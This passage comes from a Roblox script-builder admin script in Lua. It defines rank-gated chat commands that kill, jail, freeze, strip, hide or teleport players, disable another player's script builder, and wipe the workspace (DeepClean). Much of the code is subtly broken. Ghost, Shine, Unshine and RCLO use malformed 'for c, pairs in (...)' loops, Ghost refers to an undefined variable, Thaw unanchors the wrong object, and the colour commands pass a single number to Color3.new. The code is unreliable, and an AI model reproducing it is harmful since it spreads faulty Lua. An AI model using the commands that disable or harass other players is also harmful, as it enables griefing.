12554 | ypcall(function() | |
12555 | NewLS(Fly, v.Backpack) | |
12556 | Output("Press E to Fly!", v, 5) | |
12557 | end) | |
12558 | end | |
12559 | end | |
12560 | end) | |
12561 | Command("Jail", 3, "Jails a player", function(Msg, Speaker) | |
12562 | local PlrTab = getPlayer(Speaker, Msg) | |
12563 | if #PlrTab > 0 then | |
12564 | for _,v in pairs(PlrTab) do | |
12565 | ypcall(function() | |
12566 | NewLS(JailSource, v.Backpack) | |
12567 | Output("Jailed"..v.Name.."", Speaker, 5) | |
12568 | end) | |
12569 | end | |
12570 | end | |
12571 | end) | |
12572 | Command("Ghost", 2, "Ghostifys a player", function(Msg, Speaker) | |
12573 | local PlrTab = getPlayer(Speaker, Msg) | |
12574 | if #PlrTab > 0 then | |
12575 | for _,c in pairs(PlrTab) do | |
12576 | ypcall(function() | |
12577 | for c, pairs in (v.Character:children()) do | |
12578 | if c:IsA("Part") then | |
12579 | c.Transparency = 0.5 | |
12580 | end | |
12581 | end | |
12582 | Output("Turned "..v.Name.." into a ghost", Speaker, 5) | |
12583 | end) | |
12584 | end | |
12585 | end | |
12586 | end) | |
12587 | Command("Invisible", 3, "Makes a player invisible", function(Msg, Speaker) | |
12588 | local PlrTab = getPlayer(Speaker, Msg) | |
12589 | if #PlrTab > 0 then | |
12590 | for _,v in pairs(PlrTab) do | |
12591 | ypcall(function() | |
12592 | for _, c in pairs(v.Character:children()) do | |
12593 | if c:IsA("Part") then | |
12594 | c.Transparency = 1 | |
12595 | ||
12596 | end | |
12597 | end | |
12598 | ||
12599 | Output("Disappeared "..v.Name, Speaker, 5) | |
12600 | end) | |
12601 | end | |
12602 | end | |
12603 | end) | |
12604 | Command("Visible", 3, "Makes a player visible", function(Msg, Speaker) | |
12605 | local PlrTab = getPlayer(Speaker, Msg) | |
12606 | if #PlrTab > 0 then | |
12607 | for _,v in pairs(PlrTab) do | |
12608 | ypcall(function() | |
12609 | for _,c in pairs(v.Character:children()) do | |
12610 | if c:IsA("Part") then | |
12611 | c.Transparency = 0 | |
12612 | end | |
12613 | end | |
12614 | Output("Showed "..v.Name, Speaker, 5) | |
12615 | end) | |
12616 | end | |
12617 | end | |
12618 | end) | |
12619 | Command("Shine", 3, "Makes a player shiny", function(Msg, Speaker) | |
12620 | local PlrTab = getPlayer(Speaker, Msg) | |
12621 | if #PlrTab > 0 then | |
12622 | for _,v in pairs(PlrTab) do | |
12623 | ypcall(function() | |
12624 | for c, pairs in (v.Character:children()) do | |
12625 | if c:IsA("Part") then | |
12626 | c.Reflectance = 1 | |
12627 | end | |
12628 | end | |
12629 | Output("Shinied "..v.Name, Speaker, 5) | |
12630 | end) | |
12631 | end | |
12632 | end | |
12633 | end) | |
12634 | Command("Unshine", 3, "Makes a player unshiny", function(Msg, Speaker) | |
12635 | local PlrTab = getPlayer(Speaker, Msg) | |
12636 | if #PlrTab > 0 then | |
12637 | for _,v in pairs(PlrTab) do | |
12638 | ypcall(function() | |
12639 | for c, pairs in (v.Character:children()) do | |
12640 | if c:IsA("Part") then | |
12641 | c.Reflectance = 0 | |
12642 | end | |
12643 | end | |
12644 | Output("Removed shininess from "..v.Name, Speaker, 5) | |
12645 | end) | |
12646 | end | |
12647 | end | |
12648 | end) | |
12649 | Command("Noob", 3, "Turns a player into a noob", function(Msg, Speaker) | |
12650 | local PlrTab = getPlayer(Speaker, Msg) | |
12651 | if #PlrTab > 0 then | |
12652 | for _,v in pairs(PlrTab) do | |
12653 | ypcall(function() | |
12654 | NewLS(Noob, v.Backpack) | |
12655 | Output("Noobifyed "..v.Name, Speaker, 5) | |
12656 | end) | |
12657 | end | |
12658 | end | |
12659 | end) | |
12660 | Command("RCLO", 3, "Removes a player's clothing", function(Msg, Speaker) | |
12661 | local PlrTab = getPlayer(Speaker, Msg) | |
12662 | if #PlrTab > 0 then | |
12663 | for _,v in pairs(PlrTab) do | |
12664 | ypcall(function() | |
12665 | for c, pairs in (v.Character:children()) do | |
12666 | if c:IsA("Shirt") then | |
12667 | c:remove() | |
12668 | elseif c:IsA("Pants") then | |
12669 | c:remove() | |
12670 | end | |
12671 | end | |
12672 | Output("Nkd "..v.Name, Speaker, 5) | |
12673 | end) | |
12674 | end | |
12675 | end | |
12676 | end) | |
12677 | Command("RemoveSG", 6, "Removes a player's SB", function(Msg, Speaker) | |
12678 | local PlrTab = getPlayer(Speaker, Msg) | |
12679 | if #PlrTab > 0 then | |
12680 | for _,v in pairs(PlrTab) do | |
12681 | ypcall(function() | |
12682 | NewLS(DisSB, v.Backpack) | |
12683 | Output("Disabled "..v.Name.."'s SB", Speaker, 5) | |
12684 | end) | |
12685 | end | |
12686 | end | |
12687 | end) | |
12688 | Command("Respawn", 3, "Respawns a player", function(Msg, Speaker) | |
12689 | local PlrTab = getPlayer(Speaker, Msg) | |
12690 | if #PlrTab > 0 then | |
12691 | for _,v in pairs(PlrTab) do | |
12692 | ypcall(function() | |
12693 | v:LoadCharacter() | |
12694 | Output("Respawned "..v.Name, Speaker, 5) | |
12695 | end) | |
12696 | end | |
12697 | end | |
12698 | end) | |
12699 | Command("Home", 1, "Teleports the server home", function(Msg, Speaker) | |
12700 | local PlrTab = getPlayer(Speaker, Msg) | |
12701 | if #PlrTab > 0 then | |
12702 | for _,v in pairs(PlrTab) do | |
12703 | ypcall(function() | |
12704 | repeat wait() until v.Character:findFirstChild("Torso") | |
12705 | if Work:findFirstChild("Base") then | |
12706 | v.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0) | |
12707 | else | |
12708 | v.Character.Torso.CFrame = CFrame.new(0, 5, 0) | |
12709 | end | |
12710 | Output("Teleported "..v.Name.." Home", Speaker, 5) | |
12711 | end) | |
12712 | end | |
12713 | end | |
12714 | end) | |
12715 | Command("Freeze", 3, "Makes a player frozen", function(Msg, Speaker) | |
12716 | local PlrTab = getPlayer(Speaker, Msg) | |
12717 | if #PlrTab > 0 then | |
12718 | for _,v in pairs(PlrTab) do | |
12719 | ypcall(function() | |
12720 | v.Character.Torso.Anchored = true | |
12721 | Output("Froze "..v.Name, Speaker, 5) | |
12722 | end) | |
12723 | end | |
12724 | end | |
12725 | end) | |
12726 | Command("Thaw", 3, "Makes a player unfrozen", function(Msg, Speaker) | |
12727 | local PlrTab = getPlayer(Speaker, Msg) | |
12728 | if #PlrTab > 0 then | |
12729 | for _,v in pairs(PlrTab) do | |
12730 | ypcall(function() | |
12731 | for _,v2 in pairs(v.Character:GetChildren()) do | |
12732 | ypcall(function() | |
12733 | v.Anchored = false | |
12734 | end) | |
12735 | end | |
12736 | Output("Thawed "..v.Name, Speaker, 5) | |
12737 | end) | |
12738 | end | |
12739 | end | |
12740 | end) | |
12741 | Command("Bet", 1, "Shows current bet", function(Msg, Speaker) | |
12742 | Bet = (tostring(Msg)) | |
12743 | Output("The current bet is '"..Bet.. "'", nil, nil) | |
12744 | end) | |
12745 | Command("CheckSB", 1, "Checks what SB you are on", function(Msg, Speaker) | |
12746 | Output("You are on "..SB.."'s SB.", Speaker, nil) | |
12747 | end) | |
12748 | Command("Version", 1, "Checks the admin's Version", function(Msg, Speaker) | |
12749 | Output("Version is "..Version, Speaker, nil) | |
12750 | end) | |
12751 | Command("Updates", 1, "Shows what was updated", function(Msg, Speaker) | |
12752 | Output("Updates: "..Updates, Speaker, nil) | |
12753 | end) | |
12754 | Command("Time", 3, "Turns the time to day/night/morning", function(Msg, Speaker) | |
12755 | if Msg == "night" then | |
12756 | NewS(Night, game.Workspace) | |
12757 | elseif Msg == "day" then | |
12758 | NewS(Day, game.Workspace) | |
12759 | elseif Msg == "morn" then | |
12760 | NewS(Morning, game.Workspace) | |
12761 | end | |
12762 | end) | |
12763 | Command("Pri", 7, "Turns private server on/off", function(Msg, Speaker) | |
12764 | if Msg == "on" then | |
12765 | Priv = true | |
12766 | elseif Msg == "off" then | |
12767 | Priv = false | |
12768 | end | |
12769 | end) | |
12770 | Command("GlobalSh", 3, "Turns Global Shadows off/on", function(Msg, Speaker) | |
12771 | if Msg == "on" then | |
12772 | game.Lighting.GlobalShadows = true | |
12773 | elseif Msg == "off" then | |
12774 | game.Lighting.GlobalShadows = false | |
12775 | end | |
12776 | end) | |
12777 | Command("OutL", 3, "Turns Outlines off/on", function(Msg, Speaker) | |
12778 | if Msg == "on" then | |
12779 | game.Lighting.Outlines = true | |
12780 | elseif Msg == "off" then | |
12781 | game.Lighting.Outlines = false | |
12782 | end | |
12783 | end) | |
12784 | Command("GeogrL", 3, "Changes the Geographic Latitude", function(Msg, Speaker) | |
12785 | game.Lighting.GeographicLatitude = (tonumber(Msg)) | |
12786 | end) | |
12787 | Command("FogE", 3, "Changes the Fog End", function(Msg, Speaker) | |
12788 | game.Lighting.FogEnd = (tonumber(Msg)) | |
12789 | end) | |
12790 | Command("FogS", 3, "Changes the Fog Start", function(Msg, Speaker) | |
12791 | game.Lighting.FogStart = (tonumber(Msg)) | |
12792 | end) | |
12793 | Command("TimeOD", 3, "Changes the time of day", function(Msg, Speaker) | |
12794 | game.Lighting.TimeOfDay = (tonumber(Msg)) | |
12795 | end) | |
12796 | Command("Ambient", 3, "Changes the Ambient", function(Msg, Speaker) | |
12797 | game.Lighting.Ambient = Color3.new(tonumber(Msg)) | |
12798 | end) | |
12799 | Command("ColorShiftB", 3, "Changes the ColorShift Bottom", function(Msg, Speaker) | |
12800 | game.Lighting.ColorShift_Bottom = Color3.new(tonumber(Msg)) | |
12801 | end) | |
12802 | Command("ColorshiftT", 3, "Changes the ColorShift Top", function(Msg, Speaker) | |
12803 | game.Lighting.ColorShift_Top = Color3.new(tonumber(Msg)) | |
12804 | end) | |
12805 | Command("OutdoorAmb", 3, "Changes the Outdoor Ambient", function(Msg, Speaker) | |
12806 | game.Lighting.OutdoorAmbient = Color3.new(tonumber(Msg)) | |
12807 | end) | |
12808 | Command("ShadowC", 3, "Changes the Shadow color", function(Msg, Speaker) | |
12809 | game.Lighting.ShadowColor = Color3.new(tonumber(Msg)) | |
12810 | end) | |
12811 | Command("FogC", 3, "Changes the Fog color", function(Msg, Speaker) | |
12812 | game.Lighting.FogColor = Color3.new(tonumber(Msg)) | |
12813 | end) | |
12814 | Command("BrightC", 3, "Changes the Brightness", function(Msg, Speaker) | |
12815 | game.Lighting.Brightness = (tonumber(Msg)) | |
12816 | end) | |
12817 | Command("PointL", 3, "Gives a player light", function(Msg, Speaker) | |
12818 | local PlrTab = getPlayer(Speaker, Msg) | |
12819 | if #PlrTab > 0 then | |
12820 | for _,v in pairs(PlrTab) do | |
12821 | ypcall(function() | |
12822 | local pie = Instance.new("PointLight", v.Character.Torso) | |
12823 | pie.Range = 10 | |
12824 | pie.Shadows = true | |
12825 | pie.Brightness = 50 | |
12826 | end) | |
12827 | end | |
12828 | end | |
12829 | end) | |
12830 | Command("UnPointL", 3, "Removes player's light", function(Msg, Speaker) | |
12831 | local PlrTab = getPlayer(Speaker, Msg) | |
12832 | if #PlrTab > 0 then | |
12833 | for _,v in pairs(PlrTab) do | |
12834 | ypcall(function() | |
12835 | v.Character.Torso:findFirstChild("PointLight"):Remove() | |
12836 | end) | |
12837 | end | |
12838 | end | |
12839 | end) | |
12840 | Command("Punish", 3, "Punishes a player", function(Msg, Speaker) | |
12841 | local PlrTab = getPlayer(Speaker, Msg) | |
12842 | if #PlrTab > 0 then | |
12843 | for _,v in pairs(PlrTab) do | |
12844 | ypcall(function() | |
12845 | v.Character.Parent = game:GetService("Lighting") | |
12846 | end) | |
12847 | end | |
12848 | end | |
12849 | end) | |
12850 | Command("Unpun", 3, "Unpunishes a player", function(Msg, Speaker) | |
12851 | local PlrTab = getPlayer(Speaker, Msg) | |
12852 | if #PlrTab > 0 then | |
12853 | for _,v in pairs(PlrTab) do | |
12854 | ypcall(function() | |
12855 | v.Character.Parent = game.Workspace | |
12856 | v.Character:MakeJoints() | |
12857 | end) | |
12858 | end | |
12859 | end | |
12860 | end) | |
12861 | Command("CSword", 3, "Gives a player a sword, a classic one", function(Msg, Speaker) | |
12862 | local PlrTab = getPlayer(Speaker, Msg) | |
12863 | if #PlrTab > 0 then | |
12864 | for _,v in pairs(PlrTab) do | |
12865 | ypcall(function() | |
12866 | local tool = Instance.new("Tool", v.Backpack) | |
12867 | tool.Name = "Sword" | |
12868 | tool.ToolTip = "Classy Sword" | |
12869 | tool.TextureId = "rbxasset://Textures/Sword128.png" | |
12870 | tool.GripForward = Vector3.new(-1,0,0) | |
12871 | tool.GripPos = Vector3.new(0,0,-1.5) | |
12872 | tool.GripRight = Vector3.new(0,1,0) | |
12873 | tool.GripUp = Vector3.new(0,0,1) | |
12874 | local sword = Instance.new("Part", tool) | |
12875 | sword.Name = "Handle" | |
12876 | sword.Locked = true | |
12877 | sword.Reflectance = 0.4 | |
12878 | sword.BrickColor = BrickColor.new("Dark stone grey") | |
12879 | sword.Size = Vector3.new(1,0.8,4) | |
12880 | local mesh = Instance.new("SpecialMesh", sword) | |
12881 | mesh.MeshType = "FileMesh" | |
12882 | mesh.MeshId = "rbxasset://fonts/sword.mesh" | |
12883 | mesh.TextureId = "rbxasset://textures/SwordTexture.png" | |
12884 | NewS([[ | |
12885 | r = game:service("RunService") | |
12886 | ||
12887 | ||
12888 | local damage = 5 | |
12889 | ||
12890 | ||
12891 | local slash_damage = 10 | |
12892 | local lunge_damage = 30 | |
12893 | ||
12894 | sword = script.Parent.Handle | |
12895 | Tool = script.Parent | |
12896 | ||
12897 | ||
12898 | local SlashSound = Instance.new("Sound") | |
12899 | SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" | |
12900 | SlashSound.Parent = sword | |
12901 | SlashSound.Volume = .7 | |
12902 | ||
12903 | local LungeSound = Instance.new("Sound") | |
12904 | LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" | |
12905 | LungeSound.Parent = sword | |
12906 | LungeSound.Volume = .6 | |
12907 | ||
12908 | local UnsheathSound = Instance.new("Sound") | |
12909 | UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" | |
12910 | UnsheathSound.Parent = sword | |
12911 | UnsheathSound.Volume = 1 | |
12912 | ||
12913 | ||
12914 | function blow(hit) | |
12915 | if (hit.Parent == nil) then return end -- happens when bullet hits sword | |
12916 | ||
12917 | local humanoid = hit.Parent:findFirstChild("Humanoid") | |
12918 | local vCharacter = Tool.Parent | |
12919 | local vPlayer = game.Players:playerFromCharacter(vCharacter) | |
12920 | local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character | |
12921 | if humanoid~=nil and humanoid ~= hum and hum ~= nil then | |
12922 | -- final check, make sure sword is in-hand | |
12923 | ||
12924 | local right_arm = vCharacter:FindFirstChild("Right Arm") | |
12925 | if (right_arm ~= nil) then | |
12926 | local joint = right_arm:FindFirstChild("RightGrip") | |
12927 | if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then | |
12928 | tagHumanoid(humanoid, vPlayer) | |
12929 | humanoid:TakeDamage(damage) | |
12930 | wait(1) | |
12931 | untagHumanoid(humanoid) | |
12932 | end | |
12933 | end | |
12934 | ||
12935 | ||
12936 | end | |
12937 | end | |
12938 | ||
12939 | ||
12940 | function tagHumanoid(humanoid, player) | |
12941 | local creator_tag = Instance.new("ObjectValue") | |
12942 | creator_tag.Value = player | |
12943 | creator_tag.Name = "creator" | |
12944 | creator_tag.Parent = humanoid | |
12945 | end | |
12946 | ||
12947 | function untagHumanoid(humanoid) | |
12948 | if humanoid ~= nil then | |
12949 | local tag = humanoid:findFirstChild("creator") | |
12950 | if tag ~= nil then | |
12951 | tag.Parent = nil | |
12952 | end | |
12953 | end | |
12954 | end | |
12955 | ||
12956 | ||
12957 | function attack() | |
12958 | damage = slash_damage | |
12959 | SlashSound:play() | |
12960 | local anim = Instance.new("StringValue") | |
12961 | anim.Name = "toolanim" | |
12962 | anim.Value = "Slash" | |
12963 | anim.Parent = Tool | |
12964 | end | |
12965 | ||
12966 | function lunge() | |
12967 | damage = lunge_damage | |
12968 | ||
12969 | LungeSound:play() | |
12970 | ||
12971 | local anim = Instance.new("StringValue") | |
12972 | anim.Name = "toolanim" | |
12973 | anim.Value = "Lunge" | |
12974 | anim.Parent = Tool | |
12975 | ||
12976 | ||
12977 | force = Instance.new("BodyVelocity") | |
12978 | force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 | |
12979 | force.Parent = Tool.Parent.Torso | |
12980 | wait(.25) | |
12981 | swordOut() | |
12982 | wait(.25) | |
12983 | force.Parent = nil | |
12984 | wait(.5) | |
12985 | swordUp() | |
12986 | ||
12987 | damage = slash_damage | |
12988 | end | |
12989 | ||
12990 | function swordUp() | |
12991 | Tool.GripForward = Vector3.new(-1,0,0) | |
12992 | Tool.GripRight = Vector3.new(0,1,0) | |
12993 | Tool.GripUp = Vector3.new(0,0,1) | |
12994 | end | |
12995 | ||
12996 | function swordOut() | |
12997 | Tool.GripForward = Vector3.new(0,0,1) | |
12998 | Tool.GripRight = Vector3.new(0,-1,0) | |
12999 | Tool.GripUp = Vector3.new(-1,0,0) | |
13000 | end | |
13001 | ||
13002 | function swordAcross() | |
13003 | -- parry | |
13004 | end | |
13005 | ||
13006 | ||
13007 | Tool.Enabled = true | |
13008 | local last_attack = 0 | |
13009 | function onActivated() | |
13010 | ||
13011 | if not Tool.Enabled then | |
13012 | return | |
13013 | end | |
13014 | ||
13015 | Tool.Enabled = false | |
13016 | ||
13017 | local character = Tool.Parent; | |
13018 | local humanoid = character.Humanoid | |
13019 | if humanoid == nil then | |
13020 | print("Humanoid not found") | |
13021 | return | |
13022 | end | |
13023 | ||
13024 | t = r.Stepped:wait() | |
13025 | ||
13026 | if (t - last_attack < .2) then | |
13027 | lunge() | |
13028 | else | |
13029 | attack() | |
13030 | end | |
13031 | ||
13032 | last_attack = t | |
13033 | ||
13034 | --wait(.5) | |
13035 | ||
13036 | Tool.Enabled = true | |
13037 | end | |
13038 | function onEquipped() | |
13039 | UnsheathSound:play() | |
13040 | end | |
13041 | script.Parent.Activated:connect(onActivated) | |
13042 | script.Parent.Equipped:connect(onEquipped) | |
13043 | connection = sword.Touched:connect(blow) | |
13044 | ]], tool) | |
13045 | NewLS([[ | |
13046 | ||
13047 | local Tool = script.Parent; | |
13048 | ||
13049 | enabled = true | |
13050 | function onButton1Down(mouse) | |
13051 | if not enabled then | |
13052 | return | |
13053 | end | |
13054 | ||
13055 | enabled = false | |
13056 | mouse.Icon = "rbxasset://textures\\GunWaitCursor.png" | |
13057 | ||
13058 | wait(.5) | |
13059 | mouse.Icon = "rbxasset://textures\\GunCursor.png" | |
13060 | enabled = true | |
13061 | ||
13062 | end | |
13063 | ||
13064 | function onEquippedLocal(mouse) | |
13065 | ||
13066 | if mouse == nil then | |
13067 | print("Mouse not found") | |
13068 | return | |
13069 | end | |
13070 | ||
13071 | mouse.Icon = "rbxasset://textures\\GunCursor.png" | |
13072 | mouse.Button1Down:connect(function() onButton1Down(mouse) end) | |
13073 | end | |
13074 | ||
13075 | ||
13076 | Tool.Equipped:connect(onEquippedLocal) | |
13077 | ]], tool) | |
13078 | end) | |
13079 | end | |
13080 | end | |
13081 | end) | |
13082 | Command("Spark", 3, "Gives a player sparkles", function(Msg, Speaker) | |
13083 | local PlrTab = getPlayer(Speaker, Msg) | |
13084 | if #PlrTab > 0 then | |
13085 | for _,v in pairs(PlrTab) do | |
13086 | ypcall(function() | |
13087 | Instance.new("Sparkles", v.Character.Torso) | |
13088 | end) | |
13089 | end | |
13090 | end | |
13091 | end) | |
13092 | Command("Fire", 3, "Gives a player fires", function(Msg, Speaker) | |
13093 | local PlrTab = getPlayer(Speaker, Msg) | |
13094 | if #PlrTab > 0 then | |
13095 | for _,v in pairs(PlrTab) do | |
13096 | ypcall(function() | |
13097 | Instance.new("Fire", v.Character.Torso) | |
13098 | end) | |
13099 | end | |
13100 | end | |
13101 | end) | |
13102 | Command("Smoke", 3, "Gives a player smoke", function(Msg, Speaker) | |
13103 | local PlrTab = getPlayer(Speaker, Msg) | |
13104 | if #PlrTab > 0 then | |
13105 | for _,v in pairs(PlrTab) do | |
13106 | ypcall(function() | |
13107 | Instance.new("Smoke", v.Character.Torso) | |
13108 | end) | |
13109 | end | |
13110 | end | |
13111 | end) | |
13112 | Command("Clone", 3, "Clones a player", function(Msg, Speaker) | |
13113 | local PlrTab = getPlayer(Speaker, Msg) | |
13114 | if #PlrTab > 0 then | |
13115 | for _,v in pairs(PlrTab) do | |
13116 | ypcall(function() | |
13117 | local Model = v.Character:Clone() | |
13118 | Model.Parent = game.Workspace | |
13119 | end) | |
13120 | end | |
13121 | end | |
13122 | end) | |
13123 | Command("Kill", 3, "Kills a player", function(Msg, Speaker) | |
13124 | local PlrTab = getPlayer(Speaker, Msg) | |
13125 | if #PlrTab > 0 then | |
13126 | for _,v in pairs(PlrTab) do | |
13127 | ypcall(function() | |
13128 | v.Character:BreakJoints() | |
13129 | end) | |
13130 | end | |
13131 | end | |
13132 | end) | |
13133 | ||
13134 | function OutputToAdmins(Msg, Plr, Time, Func, Color, Image) | |
13135 | for i,v in pairs(game:service'Players':players()) do | |
13136 | if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then | |
13137 | Output(tostring(Msg), v.Name) | |
13138 | end | |
13139 | end | |
13140 | end | |
13141 | ||
13142 | Command("Ff", 3, "Gives a player a forcefield", function(Msg, Speaker) | |
13143 | local PlrTab = getPlayer(Speaker, Msg) | |
13144 | if #PlrTab > 0 then | |
13145 | for _,v in pairs(PlrTab) do | |
13146 | ypcall(function() | |
13147 | Instance.new("ForceField", v.Character) | |
13148 | end) | |
13149 | end | |
13150 | end | |
13151 | end) | |
13152 | Command("PingT", 3, "Ping something to a player", function(Msg, Speaker) | |
13153 | local Split = GetSplit(Msg) | |
13154 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13155 | local Msg = tostring(Msg:sub(Split + 1)) | |
13156 | if #PlrTab > 0 then | |
13157 | for _,v in pairs(PlrTab) do | |
13158 | ypcall(function() | |
13159 | Output(Msg, v) | |
13160 | end) | |
13161 | end | |
13162 | end | |
13163 | end) | |
13164 | ||
13165 | ||
13166 | Command("Unff", 3, "Removes a player's forcefield", function(Msg, Speaker) | |
13167 | local PlrTab = getPlayer(Speaker, Msg) | |
13168 | if #PlrTab > 0 then | |
13169 | for _,v in pairs(PlrTab) do | |
13170 | ypcall(function() | |
13171 | RemObj(v.Character, "ForceField") | |
13172 | end) | |
13173 | end | |
13174 | end | |
13175 | end) | |
13176 | Command("DeepClean",2,"Deepcleans", function(Msg,Speaker) | |
13177 | game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100) | |
13178 | game.Lighting.ColorShift_Top = Color3.new(0, 0, 0) | |
13179 | game.Lighting.Ambient = Color3.new(1, 1, 1) | |
13180 | game.Lighting.Brightness = 1 | |
13181 | game.Lighting.TimeOfDay = "11:00:00" | |
13182 | game.Lighting.FogEnd = 99999999 | |
13183 | game.Workspace.Base.Transparency = 0 | |
13184 | game.Workspace.Base.BrickColor = BrickColor.new("Earth green") | |
13185 | game.Workspace.Base.Locked = true | |
13186 | game.Workspace.Base.Anchored = true | |
13187 | t = game.Teams:GetChildren() | |
13188 | for i = 1, #t do | |
13189 | if t[i]:IsA("Team") then | |
13190 | t[i]: Destroy() | |
13191 | end | |
13192 | end | |
13193 | l = game.Lighting:GetChildren() | |
13194 | for i = 1, #l do | |
13195 | if l[i]:IsA("Sky") then | |
13196 | l[i]: Destroy() | |
13197 | end | |
13198 | end | |
13199 | g = game.Workspace:GetChildren() | |
13200 | for i = 1, #g do | |
13201 | if g[i]:IsA("Part") then | |
13202 | g[i]: Destroy() | |
13203 | end | |
13204 | end | |
13205 | for i = 1, #g do | |
13206 | if g[i]:IsA("Script") then | |
13207 | g[i]: Destroy() | |
13208 | end | |
13209 | end | |
13210 | for i = 1, #g do | |
13211 | if g[i]:IsA("StringValue") then | |
13212 | g[i]: Destroy() | |
13213 | end | |
13214 | end | |
13215 | for i = 1, #g do | |
13216 | if g[i]:IsA("IntValue") then | |
13217 | g[i]: Destroy() | |
13218 | end | |
13219 | end | |
13220 | for i = 1, #g do | |
13221 | if g[i]:IsA("BoolValue") then | |
13222 | g[i]: Destroy() | |
13223 | end | |
13224 | end | |
13225 | for i = 1, #g do | |
13226 | if g[i]:IsA("NumberValue") then | |
13227 | g[i]: Destroy() | |
13228 | end | |
13229 | end | |
13230 | for i = 1, #g do | |
13231 | if g[i]:IsA("ObjectValue") then | |
13232 | g[i]: Destroy() | |
13233 | end | |
13234 | end | |
13235 | for i = 1, #g do | |
13236 | if g[i]:IsA("RayValue") then | |
13237 | g[i]: Destroy() | |
13238 | end | |
13239 | end | |
13240 | for i = 1, #g do | |
13241 | if g[i]:IsA("Sound") then | |
13242 | g[i]: Destroy() | |
13243 | end | |
13244 | end | |
13245 | for i = 1, #g do | |
13246 | if g[i]:IsA("Accoutrement") then | |
13247 | g[i]: Destroy() | |
13248 | end | |
13249 | end | |
13250 | for i = 1, #g do | |
13251 | if g[i]:IsA("BrickColorValue") then | |
13252 | g[i]: Destroy() | |
13253 | end | |
13254 | end | |
13255 | for i = 1, #g do | |
13256 | if g[i]:IsA("Motor") then | |
13257 | g[i]: Destroy() | |
13258 | end | |
13259 | end | |
13260 | for i = 1, #g do | |
13261 | if g[i]:IsA("MotorFeature") then | |
13262 | g[i]: Destroy() | |
13263 | end | |
13264 | end | |
13265 | for i = 1, #g do | |
13266 | if g[i]:IsA("Color3Value") then | |
13267 | g[i]: Destroy() | |
13268 | end | |
13269 | end | |
13270 | for i = 1, #g do | |
13271 | if g[i]:IsA("BindableEvent") then | |
13272 | g[i]: Destroy() | |
13273 | end | |
13274 | end | |
13275 | for i = 1, #g do | |
13276 | if g[i]:IsA("BindableFunction") then | |
13277 | g[i]: Destroy() | |
13278 | end | |
13279 | end | |
13280 | for i = 1, #g do | |
13281 | if g[i]:IsA("LocalScript") then | |
13282 | g[i]: Destroy() | |
13283 | end | |
13284 | end | |
13285 | for i = 1, #g do | |
13286 | if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then | |
13287 | g[i]: Remove() | |
13288 | end | |
13289 | end | |
13290 | for i = 1, #g do | |
13291 | if g[i]:IsA("Hint") then | |
13292 | g[i]: Destroy() | |
13293 | end | |
13294 | end | |
13295 | for i = 1, #g do | |
13296 | if g[i]:IsA("Truss") then | |
13297 | g[i]: Destroy() | |
13298 | end | |
13299 | end | |
13300 | for i = 1, #g do | |
13301 | if g[i]:IsA("Tool") then | |
13302 | g[i]: Destroy() | |
13303 | end | |
13304 | end | |
13305 | for i = 1, #g do | |
13306 | if g[i]:IsA("HopperBin") then | |
13307 | g[i]: Destroy() | |
13308 | end | |
13309 | end | |
13310 | for i = 1, #g do | |
13311 | if g[i]:IsA("Fire") then | |
13312 | g[i]: Destroy() | |
13313 | end | |
13314 | end | |
13315 | for i = 1, #g do | |
13316 | if g[i]:IsA("Explosion") then | |
13317 | g[i]: Destroy() | |
13318 | end | |
13319 | end | |
13320 | for i = 1, #g do | |
13321 | if g[i]:IsA("Hat") then | |
13322 | g[i]: Destroy() | |
13323 | end | |
13324 | end | |
13325 | p = Instance.new("Part") | |
13326 | p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true, | |
13327 | BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0)) | |
13328 | while true do wait() | |
13329 | for i = 1, #g do | |
13330 | if g[i]:IsA("Message") then | |
13331 | g[i]: Destroy() | |
13332 | end | |
13333 | end | |
13334 | for i = 1, #g do | |
13335 | if g[i]:IsA("Hint") then | |
13336 | g[i]: Destroy() | |
13337 | end | |
13338 | end | |
13339 | end | |
13340 | end) | |
13341 | Command("Unspark", 3, "Removes a player's sparkles", function(Msg, Speaker) | |
13342 | local PlrTab = getPlayer(Speaker, Msg) | |
13343 | if #PlrTab > 0 then | |
13344 | for _,v in pairs(PlrTab) do | |
13345 | ypcall(function() | |
13346 | RemObj(v.Character.Torso, "Sparkles") | |
13347 | end) | |
13348 | end | |
13349 | end | |
13350 | end) | |
13351 | Command("Unfire", 3, "Removes a player's fire", function(Msg, Speaker) | |
13352 | local PlrTab = getPlayer(Speaker, Msg) | |
13353 | if #PlrTab > 0 then | |
13354 | for _,v in pairs(PlrTab) do | |
13355 | ypcall(function() | |
13356 | RemObj(v.Character.Torso, "Fire") | |
13357 | end) | |
13358 | end | |
13359 | end | |
13360 | end) | |
13361 | Command("Unsmoke", 3, "Removes a player's smoke", function(Msg, Speaker) | |
13362 | local PlrTab = getPlayer(Speaker, Msg) | |
13363 | if #PlrTab > 0 then | |
13364 | for _,v in pairs(PlrTab) do | |
13365 | ypcall(function() | |
13366 | RemObj(v.Character.Torso, "Smoke") | |
13367 | end) | |
13368 | end | |
13369 | end | |
13370 | end) | |
13371 | Command("Move", 3, "Teleports a player to another player", function(Msg, Speaker) | |
13372 | local Split = GetSplit(Msg) | |
13373 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
13374 | local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1)) | |
13375 | if #PlrTab > 0 and #PlrTab2 > 0 then | |
13376 | for i,v in pairs(PlrTab) do | |
13377 | ypcall(function() | |
13378 | for _,v2 in pairs(PlrTab2) do | |
13379 | ypcall(function() | |
13380 | v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0) | |
13381 | Output("Teleported "..v.Name.." to "..v2.Name, Speaker, 5) | |
13382 | end) | |
13383 | end | |
13384 | end) | |
13385 | end | |
13386 | end | |
